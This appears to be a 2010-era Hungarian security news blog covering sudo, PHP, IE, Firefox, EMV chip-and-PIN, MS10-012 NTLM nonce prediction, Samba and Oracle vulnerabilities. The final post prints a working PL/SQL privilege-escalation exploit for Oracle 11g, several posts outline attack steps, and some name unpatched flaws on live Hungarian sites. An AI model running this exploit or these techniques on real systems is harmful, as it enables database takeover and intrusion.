Régen volt már linuxos poszt, de most szerencsére érkezett javításra került két jópofa hiba a Todd Miller féle sudo-ban, amit többek között a Debian, az Ubuntu, a Red Hat és a Mandrake is használ.

Az egyik hiba valószínűleg egyszerű figyelmetlenségből adódott: a sudoers fájlban a runas_defaul opcióval megadható, hogy alapértelmezetten milyen felhasználó nevében történjen a parancsfuttatás, ha nincs megadva a -u opció (ami ezt explicit módon meghatározza). A probléma ott volt, hogy bár a parancsvégrehajtás a kijelölt felhasználó nevében, de root csoportjogosultságokkal történt.

A másik bug egy érdekesebb tervezési probléma: Különös körültekintést igénylő feladatok elvégzésére a sudo fenntart ún. pszeudó-parancsokat. Jelenleg egy ilyen létezik, a sudoedit, melynek segítségével anélkül adhatunk lehetőséget bizonyos felhasználóknak védett fájlok szerkesztésére, hogy teljes rendszergazdai jogkörrel ruháznánk fel őket. Amennyiben jogosultak vagyunk a sudoedit parancs használatára, úgy hibás sudo verziók esetében létrehozhatunk egy sudoedit nevű futtatható fájlt, tetszőleges tartalommal, melyet a sudo-nak paraméterül adva a fájl root jogosultsággal lefut.

Bár az érintett rendszerek száma a speciális konfigurációk igénye miatt viszonylag alacsony, érdemes lehet észben tartani ezeket a kis trükköket, jól jöhetnek még :)

A problémákat az 1.6.9p21 és 1.7.2p4-es verziókban javították, az érintett gyártók is leszállították a frissített csomagokat.

Kicsit le vagyok maradva, de jobb később, mint soha: történt néhány érdekesség a PHP háza táján az utóbbi időben.

• Megjelent a PHP 5.2.13, ami több biztonsági hiányosságot is orvosol. Konkrétan a régebbi változatokban a safe_mode-ot lehet kikerülni a tempnam() függvény használatával, az open_basedir-t és a safe_mode-ot pedig a session kiterjesztés segítségével. Ezen kívül a futtatókörnyezet kapott egy kis plusz entrópiát a véletlenszám-generáláshoz.
• A Debian-féle Suhosin foltba sikerült biztonsági problémát csempésznie a csomagkarbantartóknak: a patch-el ellátott PHP változatok elhaláloztak, ha nem 4096 byte-os lapméretű memóriába próbálták betölteni a beállításaikat, ezt a problémát pedig fel kellett oldani. Ennek a vége az lett, hogy egy mutatót állítottak a memóriának arra a csak olvashatóra jelölt részére, ahová a biztonsági beállítások kerültek, ezt a mutatót viszont szépen lehet módosítani, így ha egy új helyre beírjuk a nekünk tetsző konfigurációt, majd erre a memóriaterületre állítjuk a mutatót, a Suhosin nem állítmeg minket.
• Végül szeretném felhívni a figyelmet, hogy május a PHP biztonság hónapja lesz, melynek keretében szeretnék összegyűjteni és összegyűjteni a legjobb, PHP biztonság témájú cikkeket, sebezhetőségeket. A legjobb nevezettek pénzjutalmat kapnak, a CFP már tart.

A HWSW már megírta, hogy a szegény microsoftos szakiknak újabb Internet Explorer sebezhetőséggel kell szembeszállniuk. Ami azt illeti, én ezt a lehetőséget nem is tartom valódi sebezhetőségnek - leszámítva egy kisebb részletet:

A történet lényege annyi, hogy VBScript-tel fel lehet dobni egy olyan üzenetablakot, amelyhez egy távoli SMB megosztáson található .HLP fájlt adunk meg segítségként. Ha a felhasználó zavarában megnyomja az F1-et, ez a távoli fájl fog betöltődni, amit a winhlp32.exe fog feldolgozni, ebben pedig sikerült egy szép stack overflowt találni, ahonnan ugyebár a kódfuttatás már nem nehéz.

Ugyanakkor, amint azt Mauricy Prodeus, a hiba publikálója is leszögezte, minden .HLP fájl egy tetszőleges futtatható állománnyal egyenértékű, az egyes segítségtémákhoz ugyanis megadható egy-egy DLL fájl is, melynek megfelelő rész a téma megnyitásakor lefut. Nem véletlen, hogy ez a formátum szerepel a MS veszélyes formátumokat összesítő listáján, és használata az XP-nél újabb Windowsokban nem támogatott. Így a stack overflow betömésével a probléma nem lesz megoldva, az XP támogatási ciklusának végéhez közeledve pedig -érthető módon - nem valószínű, hogy a Microsoft komoly erőket fog bevetni ennek, a szokásosnál jóval több felhasználói interakciót igénylő problémának az orvoslására.

Ma egy időre eltűnt a netről a legutóbb a Microsoft COFEE eszközkészletének publikálása kapcsán reflektorfénybe került cryptome.org. A Cryptome hosztingszolgáltatójához, a Network Solution-höz a Microsoft nyújtott be panaszt, mivel a Cryptome publikálta azt a bűnüldöző szervek számára készített útmutatót (Global Criminal Compliance Handbook), melyben azt részletezik, hogy milyen adatokat, hogyan és mennyi ideig tárol a cég a felhasználóiról, és hogy ezekhez az adaokhoz a hatóságok milyen technikai és jogi úton férhetnek hozzá. Hasonló kézikönyveket egyébként már többek között a Yahoo!, a MySpace és a Comcast irodáiból is publikált az oldal.

Persze azt szokták mondani, hogy az Internet olyan mint egy medence, amit lehetetlen megtisztítani, ha már egyszer valaki belevizelt. Az anyag újra elérhető többek között a WikiLeaks-en, és a Cryptome is talált magának ideiglenesen egy új helyet. 

Számomra az nem teljesen világos, hogy a miért volt szükség erre a PR szempontból nem kifejezetten előnyös lépésre, mikor a kiszivárgott dokumentum úgyis csak olyan információkat tartalmaz, amelyet amúgy is mindenki sejthetett? Valószínűleg sokkal kevesebben értesültek volna erről a kis afférról, ha békénhagyják a Cryptome-t, mint ahogy a többi szolgáltató "szennyesének" kiteregetése sem váltott ki ekkora visszhangot.

Frissítés:

A Microsoft visszavonta a panaszt, a cryptome.org újra a helyén :)

Két hackernek, Adam Lauirenak és Jeroen van Beek-nek sikerült egy Elvis Presley nevére szóló útlevéllel átjutnia a holland Schiphol repülőtér automatikus útlevélellenőrző rendszerén. A legújabb útlevelek egy elektronikus azonosításra alkalmas (RFID) chipet tartalmaznak, melyet kiolvasva gyakorlatilag az útlevél utolsó, személyes adatokat tartalmazó oldalán tároltakkal megegyező információkat kapunk*, ezen kívül megadhatunk különböző biometrikus adatokat is (pl. ujjlenyomat információk). A chipen tárolt információkat a kibocsátó ország az általa választott algoritmussal hitelesíti.

A probléma az, hogy nem minden ország osztja meg minden más országgal a hitelesre szolgáló tanúsítványait, ha pedig egy ismeretlen tanúsítványt használó útlevelet akarunk használni, az olvasó terminál egyszerűen átugorja a hitelsítést. Lauire és Van Beek egy nem létező országra vonatkozó adatokat programozott az útlevélbe, ezért a hitelesítés semmiképpen sem sikerülhetett.

A szakértők álláspontja szerint az automatikus elektronikus ellenőrzés nem erősíti, inkább rontja a határok biztonságát, és csak egy nemzetközi, minden országot hitelesíteni képes szervezet felállításával lehetne megelőzni a hasonló csalásokat. Kérdés, hogy egy ilyen szervezet létrehozása milyen további problémákat vonna maga után...

* Igen, ezeket az adatokat távolról is ki lehet olvasni!

Meister küldte az infót, hogy a kurucok "meghekkelték" a valasztas.hu-t, közben pedig arról is jöttek hírek, hogy kisebb médiahiszti van készülőben az üggyel kapcsolatban. 

A radikális portálon belinkelt oldalak nem valódi deface-ek, csak néhány egyszerű reflektív XSS sebezhetőségeknek köszönhetően lehet nem odaillő tartalmat juttatni a látogatók böngészőjébe - tehát a valasztas.hu-n tárolt adatokhoz ilyen módon nem lehet hozzáférni. Ezek hibák még esetleg adathalász illetve social engineering támadásokhoz nyújthatnak segítséget. Mindazonáltal vannak olyan árulkodó jelek (pl. www nélkül már nem elérhető a site, stylesheetek URL-ben átadva...), amelyek arra utalnak, hogy komolyabb problémák is lehetnek a rendszerben. Az illetékeseknek azt javasolnám, hogy legyenek résen, és esetleg húzzanak fel valamilyen webalkalmazás-tűzfalat.

Frissítés:

- Az Indexnek megint sikerült nagyot alkotnia. 

- Korrigáltak. A negatív kredit egyébként valószínűleg inkább a független hírügynökségnek járna (az más kérdés, hogy miért kell nekik mindig mindent elhinni)

- HVG.hu :P

- B$H küldte el (billsuxx nyomán) a linkjét ennek a HUP szálnak, amiben foofighter sokkal érdekesebb dolgokra bukkant, pl. erre az Oracle elérést tartalmazó fájlra, no comment...

- Frissült a kuruc.info is. A Zipp.hu-s számok hitelességéről nem győződtem meg, de azért nem lennék meglepve...

Megjelent az OVI hivatalos közleménye is, jééj:

Ma hajnalban egy internetes oldalon megjelent cikk szerint „Meghekkeltük a www.valasztas.hu-t”. A hekkelést bizonyítandó 5 linket tettek közzé.

Az eset kivizsgálása során kiderült, hogy a valasztas.hu szerverére semmilyen behatolás nem történt. A támadó áloldalakat hozott létre, amelyek azt a látszatot keltették, mintha a www.valasztas.hu oldal részei lennének.

Ez a fajta támadói megoldás hasonlatos más rendszerekkel szemben alkalmazott álelérési út terjesztésével. [WTF?]

Annak érdekében, hogy kiküszöböljük a valasztas.hu adatainak későbbi hasonló, az érdeklődők megtévesztésére alkalmas átvételét, átmenetileg leállításra került a honlap egy része, amely a szükséges beavatkozás után újraindul.

A visszaélés miatt az üzemeltetővel közösen feljelentést teszünk.

Arra mondjuk kíváncsi vagyok, hogy mi alapján tesznek feljelentést...

Végül a teljes inkompetencia ékes bizonyítéka (hivatalos közlemény a honlapról):

Felhívjuk kedves látogatóink figyelmét, hogy a www.valasztas.hu honlap egyes oldalaihoz megjelenésében hasonló, de tartalmában módosított adatokat feltüntető, hamis oldalak jelentek meg az interneten. Ez a – banki adatlopásokat célzó megoldásokhoz hasonló – másolás honlapunk adattartalmát semmilyen formában nem befolyásolja.
Annak érdekében, hogy Ön mindig az általunk közzétett, korrekt információkat láthassa, javasoljuk, hogy kizárólag a www.valasztas.hu honlapon, illetőleg az onnan nyíló menüpontokban, linkeken tájékozódjon a választásokkal kapcsolatos tudnivalókról.
A honlapunkról származó adatok további felhasználásáért felelősséget nem vállalunk. A jogsértő tevékenységekkel szemben a szükséges jogi lépéseket megtesszük.

A Mozilla tegnap kritkus besorolású javítócsomagot adott ki a Firefox böngésző 3.5-ös és 3.0-as szériáihoz. A frissítés három távolról kihasználható (MFSA-2010-01, MFSA-2010-02,MFSA-2010-03), kódfuttatásra alkalmas sebezhetőséget és két kisebb, XSS-re alkalmat adó problémát javít. Mindenki frissítsen a megfelelő, 3.5.8-as vagy 3.0.18-as verzióra!

Közben kijött az Immunity CANVAS kiegészítéseket tartalmazó, kereskedelmi exploit csomag a VulnDisco 9.0-ás változata, amely egy eddig javítatlan Firefox sebezhetőség kihasználására alkalmas modult is tartalmaz. Ezt eddig a Firefox 3.6-os változataiban sikerült reprodukálni, de a korábbi verziók is érintettek lehetnek. Ha érkezik további infó, jelentkezem! (thx Hunger)

Az orosz hatóságok kézrekerítették azt az embert, aki január közepén hardcore pornót küldött egy hatalmas utcai reklámtáblára Moszkvában. A 40-éves, munkanélküli férfi beismerte tettét és azt nyilatkozta, hogy valójában azt hitte, egy bevásárlóközpont egyik képernyőjére fogja küldeni az anyagot, és hogy csak meg akarta nevettetni az embereket (ez speciel sikerült, nemzetközi szinten is :). A felnőtt mozivá alakult hírdetőtáblát egy csecsen cég üzemelteti, a pórul járt hacker nem gondolta volna, hogy az orosz rendőrség az ő rendszerükre is kiterjeszti a nyomozást. Arról nem szólnak a hírek, hogy tettéért milyen büntetésre számíthat.

Az Adobe ma két kritikus sebezhetőséget javított a Reader és Acrobat szoftverekben. Az egyik sebezhetőség böngészőbe épült használat esetén lehetővé tette a cross-domain policy áthágását, míg a másik illetéktelen kódfuttatást tett lehetővé (hogy hogyan, arról nem szól az Adobe csodás közleménye). Az első probléma a Flash lejátszót is érintette, ezt a múlt héten frissítették. A javítócsomag kritikus besorolást kapott Windows-on, Linux-on és Mac-en is.

Székely Iván tanárúr kért meg, hogy tegyem közzé az alábbi felhívást, amely egy személyes adatok kezeléséről szóló nemzetközi felmérés kitöltésében kéri a segítségeteket:

Jelenleg folyik Magyarországon az a nemzetközi felmérés, amely az
informatikusoknak a személyes adatok kezelésérol alkotott véleményét
kívánja megismerni. A témáról sok szó esik hazánkban is, de az
adatkezelo rendszerek kialakításában meghatározó szerepu
informatikusokat és fonökeiket eddig nem kérdezték meg errol.

A felmérés egy online kérdoív segítségével történik, amely a kutatás
holland vezetoi által felügyelt rendszeren fut, magyarul vagy angolul
lehet kitölteni.

A felmérés elso szakaszában intézményi azonosítókkal (tokenekkel)
lehetett részt venni a vizsgálatban a meghívott intézmények (szakmai
szervezetek, felsooktatási intézmények) érintett kollégái számára -
többen már ebben a minoségükben találkozhattak is a kérdoívvel.
Szeretnénk azonban, ha nem csak a „hivatalos” informatikus társadalom
tagjai vehetnének részt, hanem mindazok, akik nem tartoznak a fenti
körbe, de tevékenységük, elhivatottságuk alapján informatikusnak
tartják magukat, vagy informatikus kollégáik irányítójának. Külön
érdekessége lehet a felmérés eredményének, ha a két nagy csoport
tagjainak véleménye eltér egymástól.

A kérdoív ezért nyitottá vált bármely magyar informatikus számára, aki
korábban nem töltötte ki azt intézményi keretek között. Címe:
http://vortex.uvt.nl/survey

A vizsgálat neve: IT Professional survey
A kérdoív neve: BROAD

Az elmúlt napokban a magyar online médiát is bejárta a hír, hogy "feltörték" a chipkártyák PIN kódos védelmét. Természetesen néhány újságíró még mindig nem érti rendesen az idegen nyelveket, ezért megpróbálom nagy vonalakban összefoglalni, hogy miről van szó:

Amikor chip-es bankkártyával fizetünk egy három részre bontható protokoll játszódik le a kártya és az olvasó terminál között:

• Kártya autentikáció: A terminál ellenőrzi, hogy a kártya nincs-e megmachinálva
• Tulajdonos verifikáció: Normális esetben itt győzödik meg a terminál arról, hogy az általa bekért PIN kód megegyezik a kártyán tárolttal 
• Tranzakció autorizáció: A kártya a terminál által szolgáltatott adatok alapján lérehoz egy kriptográfiai kódot, melynek segítségével a terminál meggyőződhet arról, hogy a kibocsátó bank valóban engedélyezte-e a tranzakciót.

A Cambridge Egyetem kutatói által demonstrált probléma közbeékelődéses támadást tesz lehetővé, azaz a terminál és a kártya az elvárásnak megfelelően működik, de a protokoll lehetőséget ad a tulajdonos verifikáció megkerülésére. 

A támadó építhet egy olyan eszközt, amely egyik oldalán egy kártya, a másik oldalon egy terminál interfészt valósít meg, alapesetben pedig csak egyszerűen biztosítja a kommunikációt két legitim eszköz között, így az első és a harmadik - kriptográfiailag biztosított - fázis probléma nélkül lejátszódhat. A protokoll második fázisa nem csak PIN alapú verifikációt támogat, hanem aláírást használót és verifikáció nélküli módokat is. Ezekre pl. olyan esetekben lehet szükség, amikor a terminál nem ad lehetőséget PIN kód beírásra, vagy a tulajdonos nem képes a PIN kódos azonosításra (pl. látáskárosultak). A használt verifikációs eljárásban tehát a két hardvernek minden esetben meg kell egyezni.

A támadó által használ eszköz el tudja hitetni a terminállal, hogy PIN-kódos, a kártyával pedig hogy aláírásos verifikáció következik, utóbbi esetben a kártyának nincs beleszólása az eseményekbe, csak egy aláírás kerül rá egy papírfecnire. Sikeres PIN kódos azonosítás esetén a protokoll azt írja elő, hogy a kártya a 0x9000 kódot küldje vissza a terminálnak - itt nincs semmilyen hitelesítés, azaz a támadó eszköze adott pillanatban megszakíthatja a kommunikációt a valódi kártya és terminál között, megvárja míg beérkezik a PIN a terminálról, majd visszaküldi a 0x9000-t, és visszaállítja a kapcsolatot az eredeti kártyával, amely ezek után autorizálhatja a tranzakciót.

Fontos megjegyezni, hogy a probléma az ATM-es pénzfelvételt nem érinti, csak a bankkártyás vásárlásokat, előbbi esetben ugyanis a terminál közvetlenül a bankhoz fordul PIN egyeztetés miatt.

A támadásról éles demót készített a BBC, itt lehet megnézni. A felvételen látható, hogy a támadshoz szükséges eszköz már most elfér egy kisebb táskában, de mivel még csak prototípusról van szó, a jövőben várhatóan az egész ketyere egy távirányító méretű dobozkába lesz sűríthető.

A sebezhetőség több neves bank szerint is jelentős, és az egész iparágat érinti. Érdekes kérdés, hogy meg lehet-e oldani úgy a protokoll továbbfejlesztését, hogy ne kelljen az összes terminált és kártyát lecserélni. Még érdekesebb, hogy meg akarják-e majd oldani...

A teljes publikáció itt olvasható el.

Még 2008-ban fordítottuk le a Wired egyik sztoriját, melyben Max Butler, a CardersMarket hitelkártya-csalóknak fenntartott portál kiagyalójának és üzemeltetőjének pályafutásába pillanthattunk bele.

A pórul járt feketekalapos ügyében most született ítélet, az Iceman néven is elhíresült rosszfiú rekordhosszúságú, 13 éves börtönbünetetést kapott, a szabadulását követő 5 évben pedig kizárólag munkából adódóan vagy tanulási céllal használhat számítógépet (kérdés persze, hogy ki mit ért tanulás alatt ;). Butler (aki egyébként elfogása előtt nem sokkal a napgépreklámnak is beillő Max Ray Vision nevet vette fel) rekordja valószínűleg nem lesz tartós, a minden idők legnagyobb adatlopási botrányaiként számontartott TJX és Heartland ügyek gyanúsítottja, Albert Gonzalez jövő hónapban áll újra bíróság elé.

Február 20-án - azt hiszem minden túlzás nélkül állíthatom -  mérföldkőhöz fog érkezni a magyar hacker-színtér (kill me). Az eddig bootstrap fázisban leledző Hungarian Autonomous Center for Knowledge, azaz A magyar hackerspace ugyanis végre hivatalosan is megnyitja kapuit. A nyitás mellé pedig megnyitó buli dukál, melyre ezúton szeretnénk meghívni minden lelkes és kedves érdeklődőt!

A leglényegesebb (már nagyjából fixált) programok:

• Előadások a hazai space-tagok és külföldi barátaink jóvoltából, melyek közül IT biztonsági szempontból Pavol SMS-ticket (ilyet tervez bevezetni a BKV is ;) vagy RFID hacking témáit emelném ki - hogy melyik legyen megtartva, arról lehet szavazni, bár én elviselném mindkettőt :)
• 8-bites, és sokbites elektronikus, valamint az eddigiek alapján igencsak pszichedelikusnak ígérkező akkusztikus zenebona, sztárvendég Failotron és barátai
• A fentiekhez a szellemiséghez illeszkedő látvány (ha Pepe nem flexeli le a kezét idő előtt)
• Evés: lesz paprikáskrumpli bogrészban, grillterasz és wokos elszállás
• Ivás: a Hacktivityn már betesztelt Kancellár sör fokozza majd a hangulatot, a Fogasház bárpultjával kiegészülve

Minden további információt megtaláltok az esemény wiki oldalán. Írjátok be a naptárba: 

2010. február 20. H.A.C.K. megnyitó hackening!

echo 'keysym XF86Back=Backspace' > ~/.Xmodmap

# A lelki békém érdekében...

Akik közelebbről ismernek tudják, hogy - bár nem vagyok kellően okos hozzá - a kriptográfia a szívem csücske, a mostani MS frissítés pedig egy remek kriptográfiai témájú sebezhetőséget is napvilágra hozott, melyről nem tudom megállni, hogy ne írjak pár sort. A probléma önmagában nem túl bonyolult, de ez jó alkalom ad egy kis kriptográfiai-protokoll gyorstalpalóra, valamint arra, hogy megmutassam, miért olyan marha nagy probléma, ha nem tudunk kellően megjósolhatatlan (ál)véletlenszámot generálni.

A sebezhetőség teljes analízisét az expertek itt találják meg, a többieknek a továbbra érdemes kattintani.

Szóval, aki visszalapozott, már tudhatja, hogy a probléma az SMB protkoll NTLM autentikációt megvalósító részének véletlenszámgenerátorát érnitette. Jó sok volt a rövidítés, de a Wikipedia mindenre tudja a választ. A lényeg a mi szempontunkból az, hogy az NTLM egy kihívás-válasz alapú autentikációs protokoll, magyarul a szerver küld nekem valamilyen véletlen értéket, amit nonce-nak szoktak hívni (Not Only Once - magyarul ezt illene csak egyszer felhasználni, hogy miért az mindjárt kiderül), én meg a saját titkomat (jelszavamat) felhasználva előállítok ebből egy választ. Matekosok kedvéért:

Válasz=NTLM(nonce,titok)

Ebben egyrészt az a jó, hogy ha egy támadó lehallgatja a hálózatot (és miért ne tenné?), akkor nem kaparintja meg a jelszavamat, csak annak valamilyen transzformáltját, amiből (jó esetben) nem tudja visszaállítani a titkomat (hash algoritmusok, ugye). A nonce azért kell, mert nélküle ez a transzformált minden esetben ugyanaz lenne, így visszajátszással (újraküldéssel) bárki bejelentkezhetne, aki egyszer elkapott egy ilyet. Az NTLM esetében viszont a szerver elméletileg minden bejelentkezési kísérletre más nonce-t ad, ami más válaszokat eredményez, így gyakorlatilag a támadó megőszül, mire pont egy olyat dob neki a gép, amire az elkapott válaszok bármelyikét vissza tudná játszani.

És itt keletkezik a baj, ha a gép gyakran dobja ugyanazt a számot, hiszen így a a támadó potenciális várakozási ideje drasztikusan lerövidül. Pontosan ez a helyzet az MS10-012 esetében is, persze a hibakihasználáshoz most is kell trükközni egy kicsit:

A véletlenszámgenerátor akkor "bolondul meg" (pontosabban szedi össze magát), ha egy speciális Flags mezővel ellátott 'SMB Negotiate Protocol Request' üzenetet kap, ilyeneket viszont az elterjedt kliensek nem küldenek. Mi viszont küldhetünk, és küldönk is, jó sokat, mire a célpont szerver hozzánkvág néhány ezer kihívást. Ezután keresünk egy felhasználót, akinek van hozzáférése a szerverhez, és mondjuk megnyittatunk vele egy weboldalt, ami egy halom képet próbálna letölteni egy SMB megosztásról, ami történetesen szintén a mi gépünkön futhat. A felhazsnáló SMB kliense természetesen meg fog próbálkozni a bejelentkezéssel,amihez mi elküldjük neki a célponttól kapott nonce-okat. Ezekre a kliens szépen válaszolni is fog, ezeket a válaszokat a célpont felé újraküldve pedig egy kis szerencsével - hiszen gyakran generálódik ugyanaz a nonce- bejelentkezhetünk a felhasználó nevében a célpont kiszolgálóra.

Ugyanazok a speciális SMB csomagok, amelyek a duplikált kihívásgenerálást előidézték alkalmasak még arra is, hogy segítségükkel megjósoljuk a szerver által kiküldendő nonce-ok értékeit. A véletlenszámgenerátor ugyanis alapvetően három paraméterből táplálkozik:

• Egy belső változó értékéből, amely kezdetben 0, és gyakorlatilag csak a mi speciális üzeneteink hatására inkrementálódik.
• Az  adott pillanatig indult folyamatok számából.
• A rendszeridőből, melynek felhasznált értékét visszakapjuk a speciális csomagunk válaszában (ez rámutat, hogy kriptográfiai alkalmazások esetében kritikus lehet pusztán a rendszeridő ismerete is!)

Három paraméterből kettőt tehát gyakorlatilag ismerünk, csak úgy mint a véletlenszámgenerátor algoritmusát (hála a reverse-engineeringnek), így meghatározható egy értékhalmaz, melybe a kövekező nonce-ok értéke várhatóan esni fog (hogy ez pontosan hogyan történik, az a mellékelt forráskódokból derül ki). Erre a halmazra már eljátszható az előzőekben bemutatott, hamis SMB szervert alkalmazó trükk, és készen vagyunk.

Remélem hasznosnak találtátok az írást, ne habozzatok kérdezni/éleményezni a kommentekben! Házifeladat megnézni, hogy a Kerberos protokollt milyen védelmi vonalak erősítik egy hasonló hibával/támadással szemben :)

Az utóbbi hetekben felborzolta a kedélyeket a PPO "ingyen szolgáltatás adok pénzért" trükkje, és nem rég - jóval csendesebben ugyan - az ingatlanbazár.com/ingatlandepoó.com felhasználói is hasonló módszerekkel voltak kénytelenek szembesülni. Persze senki sem tekinthető bűnösnek a bíróság jogerős itéletéig, de azért csendben megjegyezném, hogy mindkét cég esetében meg lehet a lehetőség arra, hogy a potenciálsi károsultak kompenzáljanak (illetve hogy még több bűnöző kaparintsa meg az adataikat):

EQ találta például ezt a HUP-os threadet, amiben az élelmes olvasók rámutatnak, hogy a PPO bizony nem a legújabb phpMyAdmint használja, ellenben bárki számára elérhetővé teszi azt az interneten.

Az ingatlanbazár esetében pedig egy rakat SQL injection problémát találhatunk, kedvünkre böngészhetjük a könyvtárakat a DocumentRoot alatt, a fájlfeltöltéseket meg nem is mertem megnézni...

Azoknak, akik rendelkeznek regisztrációval ezeken az oldalakon azt tudom javasolni, hogy módosítsák adataikat valamilyen hamis értékre, bár a biztonsági mentéseken valószínűleg még így is ott lesznek a személyes információik.

A 4chan lelkes katonái hadat üzentek az Ausztrál kormány által bevezetni kívánt internetcenzúrának, és kiterjedt DDoS támadást indítottak a szigetország kormányhivatalai ellen. Az akció során a szokásos, webszerverek ellen irányuló túlterheléses támadásokon kívül névtelen telefonhívásokkal, valamint a tervezett szűrés hatálya alá eső - kis mellű meztelen nőket, és női ejakulációt ábrázoló illetve rajzolt pornográfiát tartalmazó - emaileket és faxokkal bombázták a kormányszerveket. A faxgépeket teljesen fekete lapok kinyomtattatásával is nehezítették. 

"Az ausztrál kormány meg fogja tanulni, hogy nem szórakozhat a pornónkkal. Senki, semmilyen okból nem szórakozhat a mi tökéletesen legális (vagy illegális) tartalmainkkal" - az Anonymous üzenete

Az egyik érintett forrás szerint a támadóknak 7.5 millió lekérést sikerült produkálniuk másodpercenként a Parlament weboldalával szemben, helyi hírforrások szerint több portál részben vagy teljesen elérhetetlenné vált (helyi idő szerint) ma reggel. 

Gigapack érkezett, inkább neki is kezdek, mert sosem érünk a végére:

• MS10-003: Egy Microsoft Office XP-t és 2004 Mac-t érintő probléma javítása, amely kártékony kódok lefutását eredményezheti.
• MS10-004: Hat MS PowerPoint sebzehetőség javítása, melyek szintén illetéktelen kódfuttatást tesznak lehetővé.
• MS10-005: A csodálatos Paintben túlcsordul egy puffer ha nem elvárt formátumú JPEG fájlt etetünk vele, ezt a bakit orvosolták ezzel a folttal.
• MS10-006: Az SMB kliens problémája lehetővé teszi egy rosszindulatú támadó számára, hogy kártékony kódot futtasson az általa üzemeltetett SMB kiszolgálóra csatlakozók számítógépén. További infók az SRD blog SMB sebezhetőségeknek szentelt posztjában, és Laurent Gaffié is sok hasznos infótt tett közzé a blogján.
• MS10-007: Na, itt jön az első érdekesség, a ShellExecute API hívás hibája távoli kódfuttatást tesz lehetővé XP, 2000 és 2003 rendszereken. A problémát az okozza, hogy a metódust fájl futtatásra, és URL betöltésre is lehet használni, ez a két funkció pedig az átadott paraméter formátumától függ, de olyan "URL-nek tűnő stringek" is megfogalmazhatók, melyek valójában egy tetszőleges parancsott hajtanak végre. A hibát akár egy weboldalon elhelyezett linken keresztül is ki lehet használni - ennek ellenére a SRD vonatkozó bejegyzése szerint a fenti viselkedés csak a böngésző kontextusán kívül érvényesül.
• MS10-008: Ez a folt egy RSClientPrint ActiveX vezérlőre vonatkozó killbiteket állít be. Ezt a komponens még 2008-ban letiltoták, de úgy tűnik, hogy rés akadt a pajzson. A probléma kihasználható IE-n keresztül, és az alapértelmezetten szigorúbb biztonsági beállításoknak köszönhetően kevésbé érinti a Server kiadásokat.
• MS10-009: Egy igazi csemege, ínyenceknek, amely a TCP/IP stack IPv6 implementációját érinti, a Windows Server 2008 esetében is kritikus besorolást kapott, a Microsoft viszont nem tartja valószínűnek, hogy kódfuttatásra is alkalmas exploit jelenik meg az elkövetkező 30 napban - mi ez, ha nem kihívás? :)
• MS10-010: A Windows 2008-as Hyper-V-t érintő probléma, amely a hoszt rendszer összeomlását idézheti elő egy guestből triggerelve.
• MS10-011: Helyi jogosultságkiterjesztésre alkalmas probléma XP-n, 2000-n és 2003-n. Az operációs rendszer nem megfelelően terminálja a kijelentkező felhasználó folyamatait, így egy megfelelően elkészített alkalmazás kernel módba lépet.
• MS10-012: Egy sor SMB szolgáltatást érintő probléma, ezek közül egy autentikáció utáni távoli kódfuttatást, kettő autentikáció nélküli DoS-t, az utolsó pedig jogosulatlan hozzáférést tesz lehetővé, mivel kevés az entrópia, mikor a szerver kihívást generál a felhazsnáló azonosításához (ez utóbbi problémáról részletes leírás és PoC érhető el itt). Érdemes megjegyezni, hogy ez a csomag kritikus besorolást kapott Windows 7 és Server 2008 rendszereken, mivel ezekben rendszerekben a sebezhető kódrészlet kernelmódba került át, ahol az eltérő időzítési tulajdonságok miatt egy versenyhelyzetből származó sebezhetőség is bejött a képbe.
• MS10-013: A DirectShow API illetéktelen kódfuttatást tesz lehetővé ha az egyszeri júzer trükkös AVI fájlokat próbál lejátszani.
• MS10-014: A Kerberos autentikációt érintő DoS sebezhetőség, amelyet speciális ticketmegújító kérésekkel lehet kihasználni.
• MS10-015: Ezzel a javítócsomaggal szüntették meg a Windows NT 3.1 óta jelenlévő, NTVDM alrendszert érintő, jogosultságkiterjesztére alkalmas problémát, valamint még egy, hasonló következményekkel járó sebezhetőséget a kernel kivételkezelő eljárásában.

Na, a hivatalos MS advisory-kat még nem dobta ki a feedolvasó, de a poszt már készen áll :)

Frissítés: Most látom, hogy a hiba részletei is elérhetők egy ideje, ráadásul igen mókás sebezhetőségről van szó. Az Oracle embereinek persze nem vették túl jó néven Evgeny Legerov nem túl felelős nyilvánosságrahozatali módszerét...

Először ez előző Oracle-s posztot akartam frissíteni, de túl sok minden jött össze az utóbbi 24 órában: 

• Az Oracle soron kívüli frissítést adott ki, de nem a DBMS-ben felfedezett probléma, hanem egy a WebLogic Server  Node Manager komponensében távolról, autentikáció nélkül kihasználható sebezhetőség kapcsán. A tegnap bemutatott adatbázisszervert érintő probléma egyelőre javítatlan marad. 
• A BlackHat oldaláról eltávolították a David Litchfield elődásáról készült videót, de a lényegi részek természetesen már rég elérhetőek ezer más helyről. Nálam le is van töltve az anyag, ha nagyon nyaggattok lehet hogy feltolom majd valahova. A videó visszakerült.
• Ahogy gadget egy kommentben megjegyezte, az Oracle 11g sebezhetősége a 10-as főverzióban is jelen van, de ezek a verziók nem tartalmazzák azt a Java metódust, amellyel a példában operációsrendszer parancsokat adtak ki. Alexander Kornburst szerint azért más úton ez ugyanúgy elérhető a régebbi verziókban is.

0day nap van úgy látszik, Kingcope publikált egy videót, amiben megmutatja, hogy hogyan lehet egy preparált Samba kliens segítségével olyan szimbolikus linkeket létrehozni egy távoli kiszolgálón, amelyek kimutatnak az engedélyezett könyvtárfából, így lehetőséget adva egy autentikált - akár Anonymous - felhasználónak, hogy a kiszolgáló teljes feájlrendszeréhez hozzáférjen:

Frissítés:

A Samba fejlesztői "nem biztonságos alapértelmezet beállításként" értékelik a problémát, és a wide links opció kikapcsolását javasolják az érintetteknek. Az elkövetkező kiadásokban ezt a beállítást fogják alapértelmezetté tenni, és kiegészítik a kézikönyveket az erre vonatkozó biztonsági kérdések tárgyalásával.

Tegnap a BlackHat-en David Litchfield tartott egy előadást, melyben egy jogosultságkiterjesztésre alkalmas, javítatlan Oracle 11g sebezhetőséget is bemutatott. Az előadásról készült videó most már elérhető, így nyilvános az exploit is:

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,’java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,’ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

A fenti parancsok lefuttatása után a dbms_java.runjava() metódust használva tetszőleges operációsrendszer parancsokat futtathatunk.

A videó ezen kívül még sok más érdekességet tartalmaz, érdemes megnézni!

